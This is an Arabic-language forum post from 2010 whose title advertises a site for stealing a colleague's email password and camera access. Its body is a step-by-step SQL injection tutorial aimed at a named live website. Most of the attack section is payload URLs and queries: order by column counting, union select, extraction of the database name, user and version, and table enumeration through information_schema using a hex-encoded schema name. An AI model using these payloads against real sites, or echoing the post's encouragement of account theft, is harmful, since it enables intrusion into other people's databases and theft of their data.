ريكو جدعان

مــرحـبا بك فى المنتدى

انضم إلى المنتدى ، فالأمر سريع وسهل

ريكو جدعان

مــرحـبا بك فى المنتدى

ريكو جدعان

هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.

ريكــو جدعـان يـرحـب بـكمـ


    موقع جااااااااااااامد ممكن تسرق الباس ورد بتاع اميل زميلك وكمان الكاميرا وكمان ممكن ترجع اميلك المسروق او اللي نسيت كلمه السر بتاعته بس ديه امانه ومتناساش انك مسلم استخدمها فيما يرض الله

    AhmED . X
    AhmED . X
    {مالك ومؤسس منتدى ريكو جدعان}


    عدد المساهمات : 185
    تاريخ التسجيل : 10/08/2010
    العمر : 34
    الموقع : www.reko.gid3an.com

    موقع جااااااااااااامد ممكن تسرق الباس ورد بتاع اميل زميلك وكمان الكاميرا وكمان ممكن ترجع اميلك المسروق او اللي نسيت كلمه السر بتاعته بس ديه امانه ومتناساش انك مسلم استخدمها فيما يرض الله Empty موقع جااااااااااااامد ممكن تسرق الباس ورد بتاع اميل زميلك وكمان الكاميرا وكمان ممكن ترجع اميلك المسروق او اللي نسيت كلمه السر بتاعته بس ديه امانه ومتناساش انك مسلم استخدمها فيما يرض الله

    مُساهمة من طرف AhmED . X الجمعة أغسطس 20, 2010 4:18 pm

    السلام عليكم ورحمة الله وبركاته النهارده هشرحلكم اكتشاف واستغلال ثغرات الحقن "sql injection"

    طيب اول حاجة لازم تشوف الدرس الى فات عشان تفهمود درس انهارده :-



    ====================================
    ما معنى ثغرات ال sql injection ولماذا سميت بهذا الاسم؟
    =====================================

    ثغرات الحقن او ثغرات ال sql injection سميت بالاسم ده نظرا لان الثغرة

    تؤدى الى حقن او اضافة query خاص بالمخترق الى query الاصلى الموجود بالاسكربت

    ===========================================
    كيف نكتشف ثغرة ال sql injection.؟
    ============================================

    عشان نكتشف ثغرة sql injection لازم نختبر امكانية حقن ال query

    وده من خلال اننا نروح لاى متغير بموقع معين ونضيف اى نص "string" الى المتغير ده

    ونشوف لو ظهر لنا ايرور او محتوى الصفحة نقص يبقى كده الموقع مصاب بثغرة الحقن

    لانه دخل النص بتاعنا فى ال query الاصلى بالاسكربت وبالتالى فهو مصاب

    طيب لو رجعت الصفحة كما كانت يبقى كده تجاهل النص "string" الى ادخلناه

    ولم يتم اضافة النص للكويرى الى بالاسكربت وبالتالى الموقع غير قابل للحقن اى غير مصاب ..


    =======================================
    اختبار " اكتشاف ثغرة sql injection " "تطبيق عملى"
    =======================================

    طيب عاوزين نطبق الكلام ده عملى انا معايا موقع هشرح عليه :-

    نشوف المتغير بالموقع

    موقع جااااااااااااامد ممكن تسرق الباس ورد بتاع اميل زميلك وكمان الكاميرا وكمان ممكن ترجع اميلك المسروق او اللي نسيت كلمه السر بتاعته بس ديه امانه ومتناساش انك مسلم استخدمها فيما يرض الله 73027532

    طيب دلوقتى هختبر الموقع مصاب بثغرة حقن ام لا باضافة ' او اى نص مثلا Dolla

    الى المتغير

    فى الموقع ده لو ضيفت ال ' بيقولك acess denied قد ينخدع البعض ويفكر الموقع غير مصاب

    لاكن انا اقولكم جربو تضيف اى نص مثلا نص Dolla للتاكد


    موقع جااااااااااااامد ممكن تسرق الباس ورد بتاع اميل زميلك وكمان الكاميرا وكمان ممكن ترجع اميلك المسروق او اللي نسيت كلمه السر بتاعته بس ديه امانه ومتناساش انك مسلم استخدمها فيما يرض الله 86229980

    المحتوى اختفى من الصفحة بعد اضافة النص Dolla يبقى الموقع مصاب بالحقن ..


    الخطوة الجاية هى معرفة عدد العواميد الى بالquery الموجود بالاسكربت :d

    من خلال order+by

    ===========================================
    شرح وظيفة order+by على سبيل الامثلة
    ==========================================

    طيب كتير من الناس موش فاهمة ايه فكرة عمل order by انا اقولكم

    فكرة order by وظيفتها انها بترتب نتيجة عواميد معينة بدلالة عمود معين مثلا

    رمز:
    select name,age,job from profile+order+by+1
    طيب الكويرى ده هيرتبلنا الاسم والوظيفة والعمر بناء على او بدلالة الاسم "name"

    رمز:
    select name,age,job from profile+order+by+2
    هنا الكويرى ده هيرتبلنا الاسم والعمر والوظيفة بدلالة العمود رقم 2 وهو ال العمر "age"

    رمز:
    select name,age,job from profile+order+by+3
    هنا الكويرى هيرتبلنا الاسم والعمر والوظيفة بدلالة العمود 3 وهو الوظيفة "job"


    رمز:
    select name,age,job from profile+order+by+4

    طيب دلوقتى هنا طبعا هيجبلنا ايرور ليه السبب لان مفيش عمود رابع !!!!


    ودى الطريقة الى هنبتعها لمعرفة العواميد فى الكويرى الى بسكربت الموقع المصاب

    فانا مثلا هضيف للمتغير


    رمز:
    macgurublog.php?uid=3+order+by+1--
    مفيش ايرور ولم ينقص المحتوى .. وده اكيد لان اى query لازم يحتوى على الاقل على عمود

    طيب نجرب


    رمز:
    macgurublog.php?uid=3+order+by+2--

    المحتوى رجع كامل .. يبقى نجرب


    رمز:
    macgurublog.php?uid=3+order+by+3--

    المحتوى رجع كامل .. يبقى نجرب ..



    رمز:
    macgurublog.php?uid=3+order+by+4--

    اممم المحتوى نقص .. او ظهر ايرور يبقى انا افهم ان مفيش عمود رابع اى عدد العواميد

    هم تلت عواميد .. وده كان على سبيل المثال Very Happy افتراضى يعنى

    طبعا انا استخدمت "-- " للتعليق لكى تخلى اى جملة تقع بعدها مجرد تعليق تم شرحها

    بالدرس السابق :- طيب دلوقتى هنجرب عملى على الموقع المصاب

    ==================================================

    تطبيق Order+By على الموقع المصاب لمعرفة عدد عواميد الquery ألموجود بالاسكربت
    ==================================================

    هجرب اول حاجة


    رمز:
    macgurublog.php?uid=3+order+by+1--



    موقع جااااااااااااامد ممكن تسرق الباس ورد بتاع اميل زميلك وكمان الكاميرا وكمان ممكن ترجع اميلك المسروق او اللي نسيت كلمه السر بتاعته بس ديه امانه ومتناساش انك مسلم استخدمها فيما يرض الله 53746214



    الصفحة رجعت كاملة

    طيب يبقى هخليها



    رمز:
    macgurublog.php?uid=3+order+by+2--


    موقع جااااااااااااامد ممكن تسرق الباس ورد بتاع اميل زميلك وكمان الكاميرا وكمان ممكن ترجع اميلك المسروق او اللي نسيت كلمه السر بتاعته بس ديه امانه ومتناساش انك مسلم استخدمها فيما يرض الله 16630806


    محتوى الصفحة اختفى يبقى افهم من كده ان مفيش عمود تانى بالكويرى اى ان عدد عواميد الاسكربت

    هو "عمود واحد فقط"

    طيب وماذا بعد معرفة عدد العواميد ؟؟ هنتقل للخطوة التالتة وهى استخدام

    ال union+select لحقن الquery بتاعنا .. واضافته الى الquery

    الموجود بالاسكربت ...


    ===================================
    استخدام ال union+select
    ==================================

    طيب دلوقتى عرفنا ان عدد العواميد 1 يبقى انا هضيف ..


    رمز:
    macgurublog.php?uid=3+union+select+1--

    وطبعا لو كان العواميد 2

    كنت هضيف :-

    رمز:
    macgurublog.php?uid=3+union+select+2--
    ولو تلاتة : كنت هضيف

    رمز:
    macgurublog.php?uid=3+union+select+3--
    وهكاذا :-

    طيب نشوف الصورة ..



    موقع جااااااااااااامد ممكن تسرق الباس ورد بتاع اميل زميلك وكمان الكاميرا وكمان ممكن ترجع اميلك المسروق او اللي نسيت كلمه السر بتاعته بس ديه امانه ومتناساش انك مسلم استخدمها فيما يرض الله 74884378


    طيب انا ضيف - قبل المتغير 3 عشان اشوف رقم العمود ولقيت رقم العمود 1 ظهر بالصفحة


    دلوقتى ممكن احقن الquery الخاص بينا مكان رقم العمود 1

    طيب نشوف

    ===========================================
    استخراج :- اسم القاعدة + اسم مستخدم القاعدة +اصدار القاعدة
    ===================================

    هضع مكان العمود 1 :-

    رمز:
    concat(database(),0x3e,user(),0x3e,@@version)

    طيب نفسر الحقنة :-

    الدالة concat() :تقوم باظهار اكثر من نتيجة بمكان عمود واحد :- يعنى هجيب

    نتيجة اسم القاعدة واسم المستخدم واصدار القاعدة بمكان عمود واحد . الى هو العمود رقم 1

    0X3E :دى علامة > بس بتشفير الهيكس هفصل بيها بين اسم المستخدم واسم القاعدة

    والاصدار


    database():لاظهاراسم القاعدة

    user():لاظهار اسم مستخدم القاعدة

    @@version :لاظهار اصدار القاعدة :-


    طيب بعد الاستغلال نشوف الصورة ...


    موقع جااااااااااااامد ممكن تسرق الباس ورد بتاع اميل زميلك وكمان الكاميرا وكمان ممكن ترجع اميلك المسروق او اللي نسيت كلمه السر بتاعته بس ديه امانه ومتناساش انك مسلم استخدمها فيما يرض الله 83268273



    طيب دلوقتى عرفنا اسم القاعدة واصدارها واسم مستخدم القاعدة :- اهم حاجة عندنا

    عرفنا اصدار القاعدة انه الخامس لانه بتفرق فى الحقن الاصدار فالاصدار الرابع

    يعتمد على تخمين الجداول او معرفة مسبقة باسامى الجداول

    اما الاصدار الخامس فيوجد به شىء اسمه ال "schema"ودى فيها اسامى الجداول

    والقواعد والعواميد ..

    ===========================================
    حقن الاصدار الخامس واستخراج أسامى عواميد القاعدة من ال schema
    ========================================

    طيب دلوقتى عاوز استخرج جميع اسماء الجداول لقاعدة الاسكربت

    الى اسمها ."turkijeappartem"

    هشيل رقم 1 :- واضيف: -

    رمز:
    group_concat(table_name)

    +from+information_schema.tables+where+table_schema='t

    urkijeappartem'--

    table_name :ده عمود الى فيه جميع اسماء جداول القاعدة

    infomation_schema.tables : ده جدول tables الى يحتوى على عمود


    table_name ..


    turkijeappartem : دى اسم القاعدة الى هستخرج اسامى جداولها ..

    وانا وضعتها بين علامة التنصيص '' لانها string اى نص


    طيب دلوقتى فى مشكلة .. ان لو الماجيك كوتس اون هيمنعنى انى اضيف ال ''

    لانه هيحط / قبل ال ' والدنيا هتبوظ عشان كده هشفر اسم القاعدة بالهيكس

    وهيكون الاستغلال كده

    رمز:
    http://www.turkijeappartement.be/e107_plugins/macguru

    blog_menu/macgurublog.php?uid=-

    3+union+select+group_concat(table_name)

    +from+information_schema.tables+where+table_Schema=0x

    7475726B696A65617070617274656D

      الوقت/التاريخ الآن هو الخميس نوفمبر 21, 2024 1:46 am